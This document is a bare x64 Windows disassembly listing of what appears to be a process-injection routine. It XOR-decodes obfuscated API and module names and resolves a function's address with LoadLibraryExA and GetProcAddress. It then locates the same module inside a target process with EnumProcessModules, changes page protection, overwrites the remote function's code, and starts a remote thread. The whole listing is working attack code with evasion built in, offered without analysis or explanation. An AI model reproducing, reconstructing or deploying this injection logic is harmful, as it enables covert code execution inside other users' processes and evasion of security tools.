lea rax, [rbp + 0x5840]
lea rdx, [rbp + 0x583f]
mov rcx, rax
call fcn.00402c14
mov rax, qword [rbp + 0x5840]
mov rdx, qword [rbp + 0x5848]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x5850]
mov rdx, qword [rbp + 0x5858]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movzx eax, byte [rbp + 0x5860]
mov byte [rbp], al
mov edx, dword [rbp + 0x5b90]
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.004219a0
lea rax, [rbp + 0x2b72]
mov qword [rbp + 0x5a68], rax
mov rax, qword [rbp + 0x5a68]
mov qword [rbp + 0x5a60], rax
mov rax, qword [rbp + 0x5a60]
movzx eax, byte [rax + 0xb]
test al, al
setne al
test al, al
je 0x409165
mov rax, qword [rbp + 0x5a68]
mov rdx, qword [rbp + 0x5a68]
mov qword [rbp + 0x5a58], rdx
mov qword [rbp + 0x5a50], rax
mov dword [rbp + 0x5a4c], 0
cmp dword [rbp + 0x5a4c], 0xb
jg 0x409164
mov eax, dword [rbp + 0x5a4c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5a50]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x5a4c]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x34
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x34
xor ecx, eax
mov rdx, qword [rbp + 0x5a58]
mov eax, dword [rbp + 0x5a4c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5a4c], 1
jmp 0x4090f9
nop
lea rax, [rbp + 0x2b72]
mov r8d, 1
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
call rax
mov qword [rbp + 0x5b70], rax
lea rax, [rbp + 0x2b60]
mov qword [rbp + 0x5a40], rax
mov rax, qword [rbp + 0x5a40]
mov qword [rbp + 0x5a38], rax
mov rax, qword [rbp + 0x5a38]
movzx eax, byte [rax + 0xf]
test al, al
setne al
test al, al
je 0x409250
mov rax, qword [rbp + 0x5a40]
mov rdx, qword [rbp + 0x5a40]
mov qword [rbp + 0x5a30], rdx
mov qword [rbp + 0x5a28], rax
mov dword [rbp + 0x5a24], 0
cmp dword [rbp + 0x5a24], 0xf
jg 0x40924f
mov eax, dword [rbp + 0x5a24]
movsxd rdx, eax
mov rax, qword [rbp + 0x5a28]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x5a24]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x34
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x34
xor ecx, eax
mov rdx, qword [rbp + 0x5a30]
mov eax, dword [rbp + 0x5a24]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5a24], 1
jmp 0x4091e4
nop
lea rdx, [rbp + 0x2b60]
mov rax, qword [rbp + 0x5b70]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5b68], rax
lea rax, [rbp - 0x20]
lea rdx, [rbp + 0x586a]
mov rcx, rax
call fcn.00402d2e
mov rax, qword [rbp - 0x20]
mov qword [rbp + 0x222a], rax
mov eax, dword [rbp - 0x18]
mov dword [rbp + 0x2232], eax
movzx eax, word [rbp - 0x14]
mov word [rbp + 0x2236], ax
lea rax, [rbp + 0x222a]
mov qword [rbp + 0x5a18], rax
mov rax, qword [rbp + 0x5a18]
movzx eax, byte [rax + 0xd]
test al, al
setne al
test al, al
je 0x40935b
lea rax, [rbp + 0x222a]
lea rdx, [rbp + 0x222a]
mov qword [rbp + 0x5a10], rdx
mov qword [rbp + 0x5a08], rax
mov dword [rbp + 0x5a04], 0
cmp dword [rbp + 0x5a04], 0xd
jg 0x40935a
mov eax, dword [rbp + 0x5a04]
movsxd rdx, eax
mov rax, qword [rbp + 0x5a08]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x5a04]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x34
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x34
xor ecx, eax
mov rdx, qword [rbp + 0x5a10]
mov eax, dword [rbp + 0x5a04]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5a04], 1
jmp 0x4092ef
nop
lea rax, [rbp + 0x222a]
mov rdx, qword [rbp + 0x5b68]
mov r8, rdx
mov rdx, rax
lea rcx, str._s_p_n
call fcn.00401540
mov dword [rbp + 0x5a00], 0
cmp dword [rbp + 0x5a00], 0xd
jg 0x4093a7
mov eax, dword [rbp + 0x5a00]
cdqe
mov byte [rbp + rax + 0x222a], 0
add dword [rbp + 0x5a00], 1
jmp 0x409385
nop
mov rax, qword [rbp + 0x5b68]
mov qword [rbp + 0x5b60], rax
mov rax, qword [rbp + 0x5b60]
mov rdx, qword [rbp + 0x5b70]
sub rax, rdx
mov dword [rbp + 0x5b5c], eax
lea rax, [rbp + 0x221d]
lea rdx, [rbp + 0x586b]
mov rcx, rax
call fcn.00402db0
lea rax, [rbp + 0x221d]
mov qword [rbp + 0x59f8], rax
mov rax, qword [rbp + 0x59f8]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x40949b
lea rax, [rbp + 0x221d]
lea rdx, [rbp + 0x221d]
mov qword [rbp + 0x59f0], rdx
mov qword [rbp + 0x59e8], rax
mov dword [rbp + 0x59e4], 0
cmp dword [rbp + 0x59e4], 0xc
jg 0x40949a
mov eax, dword [rbp + 0x59e4]
movsxd rdx, eax
mov rax, qword [rbp + 0x59e8]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x59e4]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x34
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x34
xor ecx, eax
mov rdx, qword [rbp + 0x59f0]
mov eax, dword [rbp + 0x59e4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x59e4], 1
jmp 0x40942f
nop
lea rax, [rbp + 0x221d]
mov edx, dword [rbp + 0x5b5c]
mov r8d, edx
mov rdx, rax
lea rcx, str._s_p_n
call fcn.00401540
mov dword [rbp + 0x59e0], 0
cmp dword [rbp + 0x59e0], 0xc
jg 0x4094e6
mov eax, dword [rbp + 0x59e0]
cdqe
mov byte [rbp + rax + 0x221d], 0
add dword [rbp + 0x59e0], 1
jmp 0x4094c4
nop
lea rcx, [rbp + 0x20c]
lea rdx, [rbp + 0x210]
mov rax, qword [rbp + 0x5b80]
mov r9, rcx
mov r8d, 0x2000
mov rcx, rax
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
setne al
test al, al
je 0x40997a
mov dword [rbp + 0x5c9c], 0
mov eax, dword [rbp + 0x5c9c]
cdqe
mov edx, dword [rbp + 0x20c]
mov edx, edx
shr rdx, 3
cmp rax, rdx
jae 0x40997a
mov eax, dword [rbp + 0x5c9c]
cdqe
mov rdx, qword [rbp + rax*8 + 0x210]
lea rcx, [rbp + 0x90]
mov rax, qword [rbp + 0x5b80]
mov r9d, 0x104
mov r8, rcx
mov rcx, rax
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
setne al
test al, al
je 0x40996e
lea rax, [rbp + 0x586c]
mov rcx, rax
call fcn.0046f000
lea rcx, [rbp + 0x586c]
lea rdx, [rbp + 0x90]
lea rax, [rbp + 0x70]
mov r8, rcx
mov rcx, rax
call fcn.004a6f40
lea rax, [rbp + 0x586c]
mov rcx, rax
call fcn.0046f030
lea rax, [rbp + 0x2b72]
mov qword [rbp + 0x59d8], rax
mov rax, qword [rbp + 0x59d8]
mov qword [rbp + 0x59d0], rax
mov rax, qword [rbp + 0x59d0]
movzx eax, byte [rax + 0xb]
test al, al
setne al
test al, al
je 0x40967e
mov rax, qword [rbp + 0x59d8]
mov rdx, qword [rbp + 0x59d8]
mov qword [rbp + 0x59c8], rdx
mov qword [rbp + 0x59c0], rax
mov dword [rbp + 0x59bc], 0
cmp dword [rbp + 0x59bc], 0xb
jg 0x40967d
mov eax, dword [rbp + 0x59bc]
movsxd rdx, eax
mov rax, qword [rbp + 0x59c0]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x59bc]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x34
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x34
xor ecx, eax
mov rdx, qword [rbp + 0x59c8]
mov eax, dword [rbp + 0x59bc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x59bc], 1
jmp 0x409612
nop
lea rdx, [rbp + 0x2b72]
lea rax, [rbp + 0x70]
mov r8d, 0
mov rcx, rax
call fcn.00431e50
cmp rax, 0xffffffffffffffff
setne al
test al, al
je 0x409962
mov eax, dword [rbp + 0x5c9c]
cdqe
mov rdx, qword [rbp + rax*8 + 0x210]
lea rax, [rbp + 0x90]
mov r8, rdx
mov rdx, rax
lea rcx, str._t_s__0x_08X__n
call fcn.00401540
mov eax, dword [rbp + 0x5c9c]
cdqe
mov rax, qword [rbp + rax*8 + 0x210]
mov qword [rbp + 0x5ca0], rax
lea rax, [rbp + 0x586e]
lea rdx, [rbp + 0x586d]
mov rcx, rax
call fcn.00402e2a
mov rax, qword [rbp + 0x586e]
mov qword [rbp - 0x20], rax
mov eax, dword [rbp + 0x5876]
mov dword [rbp - 0x18], eax
movzx eax, byte [rbp + 0x587a]
mov byte [rbp - 0x14], al
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.004218d0
lea rax, [rbp + 0x1ac]
lea rdx, [rbp + 0x587b]
mov rcx, rax
call fcn.00402ea4
lea rax, [rbp + 0x1ac]
mov qword [rbp + 0x59b0], rax
mov rax, qword [rbp + 0x59b0]
movzx eax, byte [rax + 0xb]
test al, al
setne al
test al, al
je 0x4097f4
lea rax, [rbp + 0x1ac]
lea rdx, [rbp + 0x1ac]
mov qword [rbp + 0x59a8], rdx
mov qword [rbp + 0x59a0], rax
mov dword [rbp + 0x599c], 0
cmp dword [rbp + 0x599c], 0xb
jg 0x4097f3
mov eax, dword [rbp + 0x599c]
movsxd rdx, eax
mov rax, qword [rbp + 0x59a0]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x599c]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x34
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x34
xor ecx, eax
mov rdx, qword [rbp + 0x59a8]
mov eax, dword [rbp + 0x599c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x599c], 1
jmp 0x409788
nop
lea rax, [rbp + 0x1ac]
lea rdx, [rbp + 0x90]
mov r8, rdx
mov rdx, rax
lea rcx, str._s_s_n
call fcn.00401540
mov dword [rbp + 0x5998], 0
cmp dword [rbp + 0x5998], 0xb
jg 0x409840
mov eax, dword [rbp + 0x5998]
cdqe
mov byte [rbp + rax + 0x1ac], 0
add dword [rbp + 0x5998], 1
jmp 0x40981e
nop
lea rax, [rbp + 0x1a1]
lea rdx, [rbp + 0x587c]
mov rcx, rax
call fcn.00402f16
mov eax, dword [rbp + 0x5c9c]
cdqe
mov r8, qword [rbp + rax*8 + 0x210]
lea rax, [rbp + 0x1a1]
mov qword [rbp + 0x5990], rax
mov rax, qword [rbp + 0x5990]
movzx eax, byte [rax + 0xa]
test al, al
setne al
test al, al
je 0x40991f
lea rax, [rbp + 0x1a1]
lea rdx, [rbp + 0x1a1]
mov qword [rbp + 0x5988], rdx
mov qword [rbp + 0x5980], rax
mov dword [rbp + 0x597c], 0
cmp dword [rbp + 0x597c], 0xa
jg 0x40991e
mov eax, dword [rbp + 0x597c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5980]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x597c]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov r9d, eax
sar r9d, 0x1f
sub edx, r9d
imul r9d, edx, 0x34
sub eax, r9d
mov edx, eax
mov eax, edx
add eax, 0x34
xor ecx, eax
mov rdx, qword [rbp + 0x5988]
mov eax, dword [rbp + 0x597c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x597c], 1
jmp 0x4098b3
nop
lea rax, [rbp + 0x1a1]
mov rdx, rax
lea rcx, str._s_p_n
call fcn.00401540
mov dword [rbp + 0x5978], 0
cmp dword [rbp + 0x5978], 0xa
jg 0x409961
mov eax, dword [rbp + 0x5978]
cdqe
mov byte [rbp + rax + 0x1a1], 0
add dword [rbp + 0x5978], 1
jmp 0x40993f
nop
lea rax, [rbp + 0x70]
mov rcx, rax
call fcn.004a7590
add dword [rbp + 0x5c9c], 1
jmp 0x409524
mov eax, dword [rbp + 0x5b5c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5ca0]
add rax, rdx
mov qword [rbp + 0x200], rax
lea rax, [rbp + 0x1e0]
lea rdx, [rbp + 0x587d]
mov rcx, rax
call fcn.00402f80
mov r8, qword [rbp + 0x200]
lea rax, [rbp + 0x1e0]
mov qword [rbp + 0x5970], rax
mov rax, qword [rbp + 0x5970]
movzx eax, byte [rax + 0x13]
test al, al
setne al
test al, al
je 0x409a69
lea rax, [rbp + 0x1e0]
lea rdx, [rbp + 0x1e0]
mov qword [rbp + 0x5968], rdx
mov qword [rbp + 0x5960], rax
mov dword [rbp + 0x595c], 0
cmp dword [rbp + 0x595c], 0x13
jg 0x409a68
mov eax, dword [rbp + 0x595c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5960]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x595c]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov r9d, eax
sar r9d, 0x1f
sub edx, r9d
imul r9d, edx, 0x34
sub eax, r9d
mov edx, eax
mov eax, edx
add eax, 0x34
xor ecx, eax
mov rdx, qword [rbp + 0x5968]
mov eax, dword [rbp + 0x595c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x595c], 1
jmp 0x4099fd
nop
lea rax, [rbp + 0x1e0]
mov rdx, rax
lea rcx, str._s_p_n
call fcn.00401540
mov dword [rbp + 0x5958], 0
cmp dword [rbp + 0x5958], 0x13
jg 0x409aab
mov eax, dword [rbp + 0x5958]
cdqe
mov byte [rbp + rax + 0x1e0], 0
add dword [rbp + 0x5958], 1
jmp 0x409a89
nop
mov rax, qword [0x0514cf08]
mov qword [rbp + 0x1d8], rax
mov rax, qword [rbp + 0x200]
and eax, 0xfff
mov qword [rbp + 0x5b50], rax
lea rax, [rbp + 0x1c3]
lea rdx, [rbp + 0x587e]
mov rcx, rax
call fcn.00403032
lea rax, [rbp + 0x1c3]
mov qword [rbp + 0x5950], rax
mov rax, qword [rbp + 0x5950]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x409b9b
lea rax, [rbp + 0x1c3]
lea rdx, [rbp + 0x1c3]
mov qword [rbp + 0x5948], rdx
mov qword [rbp + 0x5940], rax
mov dword [rbp + 0x593c], 0
cmp dword [rbp + 0x593c], 0xc
jg 0x409b9a
mov eax, dword [rbp + 0x593c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5940]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x593c]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x34
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x34
xor ecx, eax
mov rdx, qword [rbp + 0x5948]
mov eax, dword [rbp + 0x593c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x593c], 1
jmp 0x409b2f
nop
lea rax, [rbp + 0x1c3]
mov rdx, qword [rbp + 0x5b50]
mov r8, rdx
mov rdx, rax
lea rcx, str._s_p_n
call fcn.00401540
mov dword [rbp + 0x5938], 0
cmp dword [rbp + 0x5938], 0xc
jg 0x409be7
mov eax, dword [rbp + 0x5938]
cdqe
mov byte [rbp + rax + 0x1c3], 0
add dword [rbp + 0x5938], 1
jmp 0x409bc5
nop
mov r10, qword [0x0517c058]
lea r8, [rbp + 0x1d8]
lea rdx, [rbp + 0x200]
mov rax, qword [rbp + 0x5b80]
lea rcx, [rbp + 0x224c]
mov qword [rsp + 0x20], rcx
mov r9d, 4
mov rcx, rax
call r10
mov dword [rbp + 0x5b90], eax
lea rax, [rbp + 0x5880]
lea rdx, [rbp + 0x587f]
mov rcx, rax
call fcn.004030ac
mov rax, qword [rbp + 0x5880]
mov rdx, qword [rbp + 0x5888]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x5890]
mov rdx, qword [rbp + 0x5898]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov eax, dword [rbp + 0x58a0]
mov dword [rbp], eax
movzx eax, word [rbp + 0x58a4]
mov word [rbp + 4], ax
mov edx, dword [rbp + 0x5b90]
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.00421a70
mov r10, qword [0x0517c050]
mov r8, qword [rbp + 0x1d8]
mov rcx, qword [0x0517c040]
mov rax, qword [rbp + 0x200]
mov rdx, rax
mov rax, qword [rbp + 0x5b50]
add rax, rdx
mov r11, rax
mov rax, qword [rbp + 0x5b80]
lea rdx, [rbp + 0x1d0]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8, rcx
mov rdx, r11
mov rcx, rax
call r10
mov dword [rbp + 0x5b90], eax
lea rax, [rbp + 0x58b0]
lea rdx, [rbp + 0x58af]
mov rcx, rax
call fcn.004031ee
mov rax, qword [rbp + 0x58b0]
mov rdx, qword [rbp + 0x58b8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x58c0]
mov rdx, qword [rbp + 0x58c8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov eax, dword [rbp + 0x58d0]
mov dword [rbp], eax
movzx eax, word [rbp + 0x58d4]
mov word [rbp + 4], ax
mov edx, dword [rbp + 0x5b90]
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.00421a70
mov r10, qword [0x0517c058]
lea r8, [rbp + 0x1d8]
lea rdx, [rbp + 0x200]
mov rax, qword [rbp + 0x5b80]
lea rcx, [rbp + 0x224c]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
mov rcx, rax
call r10
mov dword [rbp + 0x5b90], eax
lea rax, [rbp + 0x58e0]
lea rdx, [rbp + 0x58df]
mov rcx, rax
call fcn.00403330
mov rax, qword [rbp + 0x58e0]
mov rdx, qword [rbp + 0x58e8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x58f0]
mov rdx, qword [rbp + 0x58f8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov eax, dword [rbp + 0x5900]
mov dword [rbp], eax
movzx eax, word [rbp + 0x5904]
mov word [rbp + 4], ax
mov edx, dword [rbp + 0x5b90]
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.00421a70
mov r10, qword [0x0517c060]
mov rcx, qword [rbp + 0x5b80]
lea rax, [rbp + 0x1b8]
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rdx, qword [rbp + 0x5b68]
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 0
mov edx, 0x20000000
mov rcx, rax
call r10
mov dword [rbp + 0x5b90], eax
lea rax, [rbp + 0x5910]
lea rdx, [rbp + 0x590f]
mov rcx, rax
call fcn.00403472
mov rax, qword [rbp + 0x5910]
mov rdx, qword [rbp + 0x5918]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x5920]
mov rdx, qword [rbp + 0x5928]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov eax, dword [rbp + 0x5930]
mov dword [rbp], eax
movzx eax, word [rbp + 0x5934]
mov word [rbp + 4], ax
mov edx, dword [rbp + 0x5b90]
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.00421a70
mov rdx, qword [0x0517c088]
mov rax, qword [rbp + 0x2250]
mov rcx, rax
call rdx
mov rdx, qword [0x0517c088]
mov rax, qword [rbp + 0x1b8]
mov rcx, rax
call rdx
mov rdx, qword [0x0517c088]
mov rax, qword [rbp + 0x5b80]
mov rcx, rax
call rdx
mov ebx, 0
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.004a7590
mov eax, ebx
jmp 0x40b853
add rsp, 0x5d40
pop rbx
pop rdi
pop rbp
ret